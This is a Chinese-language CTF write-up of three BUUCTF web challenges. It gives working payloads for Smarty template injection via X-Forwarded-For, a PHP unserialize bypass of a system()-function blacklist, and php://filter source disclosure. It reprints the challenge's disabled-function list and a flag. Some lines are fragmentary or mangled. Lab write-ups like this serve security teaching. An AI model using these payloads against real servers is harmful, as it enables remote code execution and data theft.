buuctf4月29日

# [BJDCTF2020]The mystery of ip

#

Flag 点进去看看，发现有个回显，是我的 ip 地址，着说明访问了我的 ip 地址，可以用伪造 IP 地址看看，这就想到用 X-Forwarded-For，可以看到不管我们输入什么都会回显，盲猜

# ssti 注入

# 输入 {config} 看看配置，是 smarty

# 看看版本 {$smarty.version}，上网找它特点呗

# 也就是 if 是配对用的 if 和 /if，且 if 内可以运行 php 代码

{if system (“ls”)}{/if}, 这里的 flag.php 是假的，要查根目录下的

{if system(“cat /flag”)}{/if}
还有一种表达就是直接

# [网鼎杯 2020 朱雀组] phpweb 1

1、打开界面之后界面一直在刷新，检查源代码也未发现提示信息，但是在检查中发现了两个隐藏的属性：func 和 p，抓包进行查看一下，结果如下：

2、对两个参数与返回值进行分析，我们使用 dat 时一般是这种格式：date (“Y-m-d+h:i:s+a”)，那我们可以猜测 func 参数接受的是一个函数，p 参数接受的是函数执行的内容，我们可以输入参数 md5 和 1 进行测试，结果如下：

3、那我们就尝试读取下当前的目录信息，payload：func=system&p=ls，显示 hacking，应该是被过滤掉了，因此我们考虑读取下源码信息，payload：func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php，对获得的字母串进行 base64 解码，结果如下：

源码如下：

<?php

    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

    function gettime($func, $p) {

        $result = call_user_func($func, $p);

        $a= gettype($result);

        if ($a == "string") {

            return $result;

        } else {return "";}

    }

    class Test {

        var $p = "Y-m-d h:i:s a";

        var $func = "date";

        function __destruct() {

            if ($this->func != "") {

                echo gettime($this->func, $this->p);

            }

        }

    }

    $func = $_REQUEST["func"];

    $p = $_REQUEST["p"];

    if ($func != null) {

        $func = strtolower($func);

        if (!in_array($func,$disable_fun)) {

            echo gettime($func, $p);

        }else {

            die("Hacker...");

        }

    }

?>

4、在代码里注意到了__destruct () 函数，此函数会在类被销毁时调用，那我们如果反序列化一个类，在类里的参数中写上我们要执行的代码和函数，这样的话就会直接调用 gettime 函数，而不会执行 in_array ($func,$disable_fun)，那我们就绕过了黑名单的判断，payload：func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:2:“ls”;s:4:“func”;s:6:“system”;} ，结果如下：

序列化代码：

<?php

class Test {

    var $p = "ls";

    var $func = "system";

    }

$test = new Test();

$str = serialize($test);

print($str);

?>

5、成功绕过黑名单获取到当前的目录信息，那我们就修改下传递的参数，查找下 flag 的位置信息，payload：func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:18:“find+/±name+flag*”;s:4:“func”;s:6:“system”;} ，结果如下：

序列化代码 (序列化之后注意将空格修改为 + 号，或者采用 get 方式进行传输）：

<?php

class Test {

    var $p = "find / -name flag*";

    var $func = "system";

    }

$test = new Test();

$str = serialize($test);

print($str);

?>

6、获得 flag 文件位置信息后，修改传递的参数读取下 flag 值，payload：func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:22:“cat+/tmp/flagoefiu4r93”;s:4:“func”;s:6:“system”;} ，结果如下：

序列化代码如下 (序列化之后注意将空格修改为 + 号，或者采用 get 方式进行传输）：

<?php

class Test {

    var $p = "cat /tmp/flagoefiu4r93";

    var $func = "system";

    }

$test = new Test();

$str = serialize($test);

print($str);

?>

7、这里补充下另外一种绕过黑名单的方式，第三步中的读取目录信息，可以修改 payload：func=\system&p=ls，也可以获得目录信息，结果如下；

8、然后后面的就是查找 flag 文件的位置、读取 flag 信息，结果如下：

9、\system 可以绕过黑名单的原因：php 内的 "\" 在做代码执行的时候，会识别特殊字符串。

# [BSidesCF 2020]Had a bad day

抓包发现是 get 的请求有个注入点，可以进行修改，但是发现只能写含有 woofers and meowers 的单词

再次写 woofers.php 试试

发现 php 双写了，就可以确定加了一个.php 文件

后缀有.php 的可以想到 php 伪协议 php://filter/read=convert.base64-encode/resourse=index.php (这次将后缀删掉)

获取源码：

php://filter/read=convert.base64-encode/woofers/resource=index

<!-- Can you read this flag? -->
<?php
 // flag{a4aaba40-84f9-4b7a-b269-d025b03676a1}
?>